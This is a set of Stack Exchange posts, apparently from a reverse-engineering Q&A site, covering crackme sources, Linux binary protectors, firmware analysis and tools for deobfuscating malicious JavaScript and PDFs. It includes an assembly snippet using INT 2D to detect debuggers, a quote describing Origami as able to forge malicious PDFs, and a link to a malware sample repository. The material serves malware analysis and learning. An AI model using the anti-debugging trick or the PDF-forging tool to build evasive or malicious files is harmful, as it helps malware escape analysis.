  <row Id="1539" PostTypeId="1" AcceptedAnswerId="1548" CreationDate="2013-04-03T14:10:49.680" Score="0" ViewCount="3209" Body="&lt;p&gt;I'd like to improve my skill as a reverse engineer. And thus I am looking for a location to find these.&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="2035" LastEditDate="2015-11-17T08:38:13.140" LastActivityDate="2015-11-17T08:38:13.140" Title="Where to find a hard crackme" Tags="|obfuscation|unpacking|crackme|" AnswerCount="4" CommentCount="4" ClosedDate="2013-04-03T19:54:19.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="1540" PostTypeId="2" ParentId="1539" CreationDate="2013-04-03T14:30:25.500" Score="6" Body="&lt;p&gt;open an account if you don't already have at forum.tuts4you.com, then browse to &lt;a href=&quot;http://forum.tuts4you.com/forum/37-crackmes-unpackmes-keygenmes/&quot;&gt;http://forum.tuts4you.com/forum/37-crackmes-unpackmes-keygenmes/&lt;/a&gt; I believe that you will find many that you will like.&lt;/p&gt;&#xA;" OwnerUserId="1344" LastActivityDate="2013-04-03T14:30:25.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1541" PostTypeId="1" AcceptedAnswerId="1544" CreationDate="2013-04-03T14:42:49.297" Score="16" ViewCount="7093" Body="&lt;p&gt;Inclusion of an &lt;code&gt;INT 2D&lt;/code&gt; instruction appears to be a fairly common anti-debugging tactic used by Windows malware authors. From what I understand, it causes a process to act differently when a debugger is attached from when it is not attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read that this is due in part to an asynchronous (not part of normal program flow) increment to the instruction pointer. This increment can be made to lead to instruction scission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain this anti-debugging tactic, specifically &lt;em&gt;why&lt;/em&gt; this increment to the instruction pointer occurs, and what happens when a debugger &lt;em&gt;is&lt;/em&gt; and &lt;em&gt;is not&lt;/em&gt; attached.&lt;/p&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2015-04-21T14:23:05.423" Title="INT 2D Anti-Forensic Method" Tags="|windows|static-analysis|malware|anti-debugging|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1542" PostTypeId="2" ParentId="1539" CreationDate="2013-04-03T14:53:30.920" Score="7" Body="&lt;p&gt;Also you should check &lt;a href=&quot;http://crackmes.de/&quot;&gt;http://crackmes.de/&lt;/a&gt; They have a huge list that you can sort by difficulty.&lt;/p&gt;&#xA;" OwnerUserId="57" LastActivityDate="2013-04-03T14:53:30.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1543" PostTypeId="2" ParentId="1541" CreationDate="2013-04-03T15:28:00.480" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide#INT2D&quot; rel=&quot;nofollow noreferrer&quot;&gt;An Anti-Reverse Engineering Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the primary explanatory comment from the code presented there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The Int2DCheck function will check to see if a debugger&#xA;// is attached to the current process. It does this by setting up&#xA;// SEH and using the Int 2D instruction which will only cause an&#xA;// exception if there is no debugger. Also when used in OllyDBG&#xA;// it will skip a byte in the disassembly and will create&#xA;// some havoc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note here is a bit on &lt;a href=&quot;https://stackoverflow.com/questions/2782915/what-should-i-know-about-structured-exceptions-seh-in-c&quot;&gt;SEH&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-04-03T17:59:04.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1544" PostTypeId="2" ParentId="1541" CreationDate="2013-04-03T15:29:25.900" Score="19" Body="&lt;p&gt;From my &quot;Ultimate&quot; Anti-Debugging reference (see pferrie.host22.com):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interrupt 0x2D is a special case.  When it is executed, Windows uses the current EIP register value as the exception address, and then it increments by one the EIP register value.  However, Windows also examines the value in the EAX register to determine how to adjust the exception address.  If the EAX register has the value of 1, 3, or 4 on all versions of Windows, or the value 5 on Windows Vista and later, then Windows will increase by one the exception address.  Finally, it issues an EXCEPTION_BREAKPOINT (0x80000003) exception if a debugger is present.  The interrupt 0x2D behaviour can cause trouble for debuggers.  The problem is that some debuggers might use the EIP register value as the address from which to resume, while other debuggers might use the exception address as the address from which to resume.  This can result in a single-byte instruction being skipped, or the execution of a completely different instruction because the first byte is missing.  These behaviours can be used to infer the presence of the debugger.  The check can be made using this code (identical for 32-bit and 64-bit) to examine either the 32-bit or 64-bit Windows environment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor  eax, eax ;set Z flag&#xA;int  2dh&#xA;inc  eax ;debugger might skip&#xA;je   being_debugged&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[end]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can see that there's nothing asynchronous happening here.  The change occurs immediately when the exception occurs.&#xA;As far as &lt;em&gt;why&lt;/em&gt; it occurs, the skipped byte is intended to be used to pass one byte of additional information at the time of the exception.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-04-03T15:29:25.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1545" PostTypeId="1" AcceptedAnswerId="1551" CreationDate="2013-04-03T16:28:42.250" Score="5" ViewCount="1306" Body="&lt;p&gt;I know no one that works as of today (i.e., kernels not way too old) and I wonder if anybody found or knows any protector for Linux either commercial, open source, used in malware, etc...&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2019-07-05T07:21:28.057" Title="Linux protectors: any good one out there?" Tags="|linux|unpacking|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1546" PostTypeId="2" ParentId="1545" CreationDate="2013-04-03T16:53:08.230" Score="5" Body="&lt;p&gt;ZVrba's Phrack article on &lt;a href=&quot;http://phrack.org/issues.html?issue=63&amp;amp;id=13#article&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptexec: Next-generation runtime binary encryption&lt;/a&gt; is a good read and it doesn't rely on additional kernel functionality:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This article describes a&#xA;  method to control the target program that doesn't does not rely on&#xA;  any assistance from the OS kernel or processor hardware. The method&#xA;  is implemented in x86-32 GNU AS (AT&amp;amp;T syntax). Once the controlling&#xA;  method is devised, it is relatively trivial to include on-the-fly&#xA;  code decryption.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-04-03T16:53:08.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1547" PostTypeId="2" ParentId="1539" CreationDate="2013-04-03T17:11:23.733" Score="1" Body="&lt;p&gt;Along with the crackmes and tuts4u sites some conferences have reverse engineering challenges. They are typically harder than the average crackmes. &lt;a href=&quot;http://www.athcon.org/&quot; rel=&quot;nofollow&quot;&gt;AthCon&lt;/a&gt; recently put up a challenge. Here's a &lt;a href=&quot;http://www.athcon.org/AthCon_2013_RE_Challenge.zip&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; to the zip if you are interested. &lt;em&gt;I haven't personally done the challenge myself, so I don't know the skill level.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-04-03T17:11:23.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1548" PostTypeId="2" ParentId="1539" CreationDate="2013-04-03T18:10:29.747" Score="3" Body="&lt;p&gt;Here is a just closed reverse engineering challenge that was posted by Halvar Flake:&#xA;&lt;a href=&quot;http://addxorrol.blogspot.kr/2013/01/encouraging-female-reverse-engineers.html&quot; rel=&quot;nofollow&quot;&gt;http://addxorrol.blogspot.kr/2013/01/encouraging-female-reverse-engineers.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The winner and a link to her very detailed and well written report is linked on this page:&#xA;&lt;a href=&quot;http://addxorrol.blogspot.kr/2013/03/congratulations-marion.html&quot; rel=&quot;nofollow&quot;&gt;http://addxorrol.blogspot.kr/2013/03/congratulations-marion.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is much more difficult than most crackme's that I have encountered and is an example of a complex and obfuscated piece of Windows malware.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-04-03T18:10:29.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1549" PostTypeId="2" ParentId="1526" CreationDate="2013-04-03T18:14:37.763" Score="30" Body="&lt;p&gt;Sogeti's &lt;a href=&quot;https://web.archive.org/web/20190914234428/esec-lab.sogeti.com/pages/origami.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Origami framework&lt;/a&gt; comes with a GTK based GUI.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;What is it?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;origami is a Ruby framework designed to parse, analyze, and forge PDF&#xA;documents. This is NOT a PDF rendering library. It aims at providing a&#xA;scripting tool to generate and analyze malicious PDF files. As well,&#xA;it can be used to create on-the-fly customized PDFs, or to inject&#xA;(evil) code into already existing documents.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create PDF documents from scratch.&lt;/li&gt;&#xA;&lt;li&gt;Parse existing documents,&#xA;modify them and recompile them.&lt;/li&gt;&#xA;&lt;li&gt;Explore documents at the object&#xA;level, going deep into the document structure, uncompressing PDF&#xA;object streams and desobfuscating names and strings.&lt;/li&gt;&#xA;&lt;li&gt;High-level&#xA;operations, such as encryption/decryption, signature, file&#xA;attachments...&lt;/li&gt;&#xA;&lt;li&gt;A GTK interface to quickly browse into the document&#xA;contents.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hORLj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Here is how I installed it on my Windows 7 system:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ensure you have Ruby v1.9.3 installed for Windows&#xA;&lt;a href=&quot;http://rubyinstaller.org/downloads/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://rubyinstaller.org/downloads/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;NOTE:&lt;/em&gt; This may work on newer/older Ruby versions, but I've only tested on v1.9.3 on Windows 7. (It does work with ruby v1.8.7 on my Linux system)&lt;/li&gt;&#xA;&lt;li&gt;Next, install origami by opening an &lt;em&gt;ADMIN&lt;/em&gt; cmd prompt and running:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;code&gt;gem install origami&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Next, you will need to install &lt;strong&gt;ruby-gtk2&lt;/strong&gt;. From the same ADMIN cmd prompt as earlier, run:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;code&gt;gem install gtk2&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Afterwards install pdfwalker, since it was moved to a separate gem:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;code&gt;gem install pdfwalker&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, simply run &lt;code&gt;pdfwalker&lt;/code&gt; from a cmd prompt.&lt;/p&gt;&#xA;&lt;p&gt;If this doesn't work for you, I'd suggest trying the above steps from &lt;a href=&quot;http://www.cygwin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cygwin&lt;/a&gt;, where you can essentially follow instructions for installing on *nix.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;If you're installing it on Ubuntu/Debian&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Install ruby with the following command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;apt install ruby-full&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Afterwards install origami as listed above:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;gem install origami&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to use the GUI you will probably need to install libgtk2.0-dev and get the rake gem installed for you to be able to install gtk2:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;apt install libgtk2.0-dev&#xA;gem install rake&#xA;gem install gtk2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since pdfwalker also needs libcanberra, it's a good idea to install it now:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;apt install libcanberra-gtk-module&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Afterwards install pdfwalker, since it was moved to a separate gem:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;gem install pdfwalker&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;And it should run from the commandline as described above.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2021-05-16T20:45:49.490" LastActivityDate="2021-05-16T20:45:49.490" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="1550" PostTypeId="1" CreationDate="2013-04-03T18:49:31.083" Score="11" ViewCount="3807" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This question is related to another question I posted &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1523&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm working with a small public transit agency on a neat open-source project that will help us to offer realtime data to local developers. A key piece of data we need is the current bus route a given vehicle is on. Currently, there is only a single electronic system that knows this information: the vehicle logic unit (VLU) that each vehicle is equipped with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a bus driver begins a route, they type its ID number into the keypad on the operator control unit (OCU). This ID number is sent to the VLU, which then displays the appropriate text on the LED signs on the bus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the OCU, there are two DB9F ports. In the manual, they are described as &quot;J1708 PORTS&quot;. One of them is connected to the VLU, and the other one is available for me to plug in to. Connecting to it gets me some data that you can read about in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1523&quot;&gt;my other question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is reverse engineer the firmware of the VLU and see how it decides what data to send or how to interpret received data. From what I can tell, the firmware is using &lt;a href=&quot;http://www.on-time.com/rttarget-32.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;RTTarget-32&lt;/a&gt; as a base. I believe this is the case because the following strings can be found in the firmware file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RTTarget-32 5.0 16-Bit Boot Code (c) 1996,2006 On Time Informatik&#xA;On Time RTOS-32 5.0 Disk Loader (c) 1996,2009 On Time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't post a link to the firmware file because I know linking to external files is generally frowned upon on SE sites. If I should upload it, though, what file host should I use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as my question title states, what techniques should I be using to begin reverse engineering this firmware file?&lt;/p&gt;&#xA;" OwnerUserId="1458" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-04T21:29:07.117" Title="What techniques are used in reverse engineering embedded firmware?" Tags="|firmware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1551" PostTypeId="2" ParentId="1545" CreationDate="2013-04-03T19:06:32.510" Score="5" Body="&lt;p&gt;There is a nice article on Linux binary code protection at &lt;a href=&quot;http://www.intel-assembler.it/portale/5/linux-binary-code-protection/linux-binary-code-protection.asp&quot; rel=&quot;noreferrer&quot;&gt;http://www.intel-assembler.it/portale/5/linux-binary-code-protection/linux-binary-code-protection.asp&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your target is to protect your binary Sentinel HASP supports Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the old ones as you mention most of them don't work anymore, elf-encrypter Shiva, Burneye etc. IF I had to guess what will be the most common in Linux malware it will be  the most common packer that's is used in windows too, UPX.&lt;/p&gt;&#xA;" OwnerUserId="1344" LastActivityDate="2013-04-03T19:06:32.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1552" PostTypeId="2" ParentId="1550" CreationDate="2013-04-03T19:30:28.600" Score="3" Body="&lt;p&gt;On Time has an evaluation kit &lt;a href=&quot;http://www.on-time.com/rtos-32-eval.htm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; that might help you learn more about it. It looks like it would be running on fairly standard hardware. Worst case you might have to dump an eeprom and decompile that with IDA or the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/J1708&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/J1708&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol for those ports is open. So you could even communicate with it from your own code. Odd that it is RS-485 rather that RS-232 (its a bus version of RS-232 basically and you would probably need a different card to use it). The wiki page there lists possible higher level protocols you might try invesigating.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-04-03T19:36:07.947" LastActivityDate="2013-04-03T19:36:07.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1553" PostTypeId="2" ParentId="1526" CreationDate="2013-04-03T19:37:07.540" Score="5" Body="&lt;p&gt;I highly recommend &lt;a href=&quot;http://icerbero.com/profiler/&quot; rel=&quot;nofollow&quot;&gt;Cerbero Profiler&lt;/a&gt;! &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Cerbero Profiler is a tool designed primarily for malware and forensic analysis. It supports a huge number of file formats (listed below) on which it performs analysis and lets the user inspect their internal layout. The Profiler is often used to identify 0-day threats and personal information inside of files. However, given of the scale of the project, it has many other uses and we encourage you to visit our blog in order to see the Profiler in action.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You might also want to check out &lt;a href=&quot;https://github.com/jduck/file-dissect&quot; rel=&quot;nofollow&quot;&gt;my open source file-dissect tool&lt;/a&gt;. I wrote a PDF parser for it, but haven't committed it yet. Sorry, I know that doesn't help much. I will eventually push it up though.&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="245" LastEditDate="2013-04-05T14:24:51.617" LastActivityDate="2013-04-05T14:24:51.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1554" PostTypeId="2" ParentId="206" CreationDate="2013-04-03T21:06:08.630" Score="5" Body="&lt;p&gt;I just wanted to add one that I found on reddit, just so it's here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.malshare.com&quot; rel=&quot;nofollow&quot;&gt;http://www.malshare.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nice thing about this place is that there is absolutely no sign-up or anything. &lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="270" LastEditDate="2013-04-03T21:26:36.757" LastActivityDate="2013-04-03T21:26:36.757" CommentCount="0" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="1555" PostTypeId="2" ParentId="1436" CreationDate="2013-04-03T21:46:12.217" Score="41" Body="&lt;p&gt;I am the author of &lt;a href=&quot;http://relentless-coding.org/projects/jsdetox/&quot; rel=&quot;noreferrer&quot;&gt;JSDetox&lt;/a&gt;, thanks to Jurriaan Bremer for mentioning it!&lt;/p&gt;&#xA;&lt;p&gt;As already said every obfuscation scheme is different. JSDetox does not try to deobfuscate everything automatically - the main purpose is to support manual analysis.&lt;/p&gt;&#xA;&lt;p&gt;It has two main features: static analysis tries to optimize code that is &amp;quot;bloated up&amp;quot;, e.g. statements like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var x = -~-~'bp'[720094129.0.toString(2 &amp;lt;&amp;lt; 4) + &amp;quot;&amp;quot;] * 8 + 2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;can be solved to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var x = 34;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as there are no external dependencies.&lt;/p&gt;&#xA;&lt;p&gt;The second feature is the ability to execute JavaScript code with HTML DOM emulation: one can load an HTML document (optional) and a JavaScript file, execute the code and see what would happen. Of course this does not always work out of the box and manual corrections might be needed.&lt;/p&gt;&#xA;&lt;p&gt;JSDetox intercepts calls like &amp;quot;eval()&amp;quot; or &amp;quot;document.write()&amp;quot; (what you did by hand) and displays what would be executed, allowing further analysis.&#xA;The HTML DOM emulation allows the execution of code that interacts with an HTML document, e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.write('&amp;lt;div id=&amp;quot;AU4Ae&amp;quot;&amp;gt;212&amp;lt;/div&amp;gt;');&#xA;var OoF2wUnZ = parseInt(document.getElementById(&amp;quot;AU4Ae&amp;quot;).innerHTML);&#xA;if(OoF2wUnZ == 212) {&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please see &lt;a href=&quot;http://relentless-coding.org/projects/jsdetox/samples&quot; rel=&quot;noreferrer&quot;&gt;http://relentless-coding.org/projects/jsdetox/samples&lt;/a&gt; for more samples or watch the screencasts: &lt;a href=&quot;http://relentless-coding.org/projects/jsdetox/screencasts&quot; rel=&quot;noreferrer&quot;&gt;http://relentless-coding.org/projects/jsdetox/screencasts&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;JSDetox does not execute the analyzed JavaScript code in the browser, it uses V8 (JS engine of the chrome browser) on the backend - nonetheless it should be executed in an isolated virtual machine.&lt;/p&gt;&#xA;" OwnerUserId="1503" LastEditorUserId="34141" LastEditDate="2020-08-17T06:36:31.453" LastActivityDate="2020-08-17T06:36:31.453" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1556" PostTypeId="2" ParentId="1392" CreationDate="2013-04-04T03:50:08.263" Score="33" Body="&lt;p&gt;I've generally used Emacs GUD as a GDB frontend.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KkDfc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkDfc.png&quot; alt=&quot;GDB support in Emacs&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It isn't too hard to use, allows you to set breakpoints visually (or though the GDB window if you prefer).&lt;/p&gt;&#xA;&lt;p&gt;It has multiple different views that you can access from a top-level GDB menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3XAik.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3XAik.png&quot; alt=&quot;GUD Views&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It also allows niceties like allowing you to inspect values by mousing over them:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mVjj0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mVjj0.png&quot; alt=&quot;Mouseover values&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In order to use it, you first need to navigate to the folder of your binary with &lt;code&gt;C-x C-f&lt;/code&gt;, then &lt;code&gt;M-x gdb&lt;/code&gt; (That's &amp;quot;&lt;code&gt;Alt + X&lt;/code&gt;&amp;quot;, then typing &amp;quot;&lt;code&gt;gdb&lt;/code&gt;&amp;quot;). After doing this, you can type a gdb command line, or just hit &lt;code&gt;[Enter]&lt;/code&gt; to accept its default. From there, you just type &amp;quot;start&amp;quot; in the gdb window with any parameters you want to pass to the program you are debugging.&lt;/p&gt;&#xA;&lt;p&gt;After that, you are pretty much golden, but with only one view. The menus along the top of the screen under &amp;quot;GUD&amp;quot; will let you open other relevant views for whatever you are trying to debug. (Frames are separate windows, and &amp;quot;Windows&amp;quot; are in-frame windows)&lt;/p&gt;&#xA;&lt;p&gt;Usually by default, a breakpoint is set on program start, and you can then either navigate your code using the buttons at the top of the window or if you have no code, you can customize your view to let you step through a disassembly of the binary you are looking at.&lt;/p&gt;&#xA;&lt;p&gt;The buttons along the top of the window surrounded with &amp;quot;{}&amp;quot; are for code-level stepping, and the buttons with &amp;quot;&amp;lt;&amp;gt;&amp;quot; in their icon are for instruction-level debugging. So you will probably want to focus on the left if you are doing normal code debugging and focus more on the right if you are getting into the real nitty-gritty.&lt;/p&gt;&#xA;&lt;p&gt;Also, if you ever get lost, this icon:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GxNUS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GxNUS.png&quot; alt=&quot;GUD info&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It is an entire book that can likely answer your questions. The only time it won't exist in Emacs is if you are on Debian (Ubuntu is fine) and installed Emacs from its repos. In this case you will need to install &amp;quot;&lt;code&gt;emacs&amp;lt;version&amp;gt;-common-non-dfsg&lt;/code&gt;&amp;quot; to get the manuals. (With &amp;quot;&lt;code&gt;&amp;lt;version&amp;gt;&lt;/code&gt;&amp;quot; being the non-decimal digits returned by &lt;code&gt;M-x version&lt;/code&gt; in Emacs)&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="42335" LastEditDate="2023-05-24T21:02:52.660" LastActivityDate="2023-05-24T21:02:52.660" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1557" PostTypeId="2" ParentId="1436" CreationDate="2013-04-04T04:13:38.683" Score="17" Body="&lt;p&gt;I'm a fan of &lt;a href=&quot;http://malzilla.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malzilla&lt;/a&gt; and its embedded SpiderMonkey JS engine which allows you to decode malicious javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F8w0P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://malzilla.sourceforge.net/tutorial06/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a tutorial&lt;/a&gt; using Malzilla to decode a LuckySploit attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the pre-built binary for Malzilla on SourceForge, &lt;a href=&quot;https://sourceforge.net/projects/malzilla/files/Malzilla%20Win32%20Binary%20package/Malzilla%201.2.0/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2019-06-30T19:46:59.340" LastActivityDate="2019-06-30T19:46:59.340" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1558" PostTypeId="5" CreationDate="2013-04-04T04:54:47.640" Score="0" Body="&lt;p&gt;&lt;strong&gt;Printed Circuit Boards&lt;/strong&gt; (&lt;strong&gt;PCBs&lt;/strong&gt;) are boards, often commercially manufactured, that can represent all sorts of electrical components through the interaction of silicon layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PCBs were created in the early 1900's to facilitate efficient, repeatable designs for electrical connections, such as radios. Original materials and methods were difficult to make and use. After numerous inventors created and improved the process for creating these circuits, the United States opened the invention for commercial use. Eventually, the process evolved to allow mass production of these boards to reliably and efficiently create a wide variety of electrical components and systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Printed_circuit_board&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A &lt;strong&gt;printed circuit board&lt;/strong&gt;, or &lt;strong&gt;PCB&lt;/strong&gt;, is used to mechanically support and electrically connect electronic components using conductive pathways, tracks or signal traces etched from copper sheets laminated onto a non-conductive substrate. When the board has only copper tracks and features, and no circuit elements such as capacitors, resistors or active devices have been manufactured into the actual substrate of the board, it is more correctly referred to as printed wiring board (PWB) or etched wiring board.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Use of the term PWB or printed wiring board although more accurate and distinct from what would be known as a true printed circuit board, has generally fallen by the wayside for many people as the distinction between circuit and wiring has become blurred. Today printed wiring (circuit) boards are used in virtually all but the simplest commercially produced electronic devices, and allow fully automated assembly processes that were not possible or practical in earlier era tag type circuit assembly processes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1467" LastEditorUserId="151" LastEditDate="2013-04-05T14:24:05.550" LastActivityDate="2013-04-05T14:24:05.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
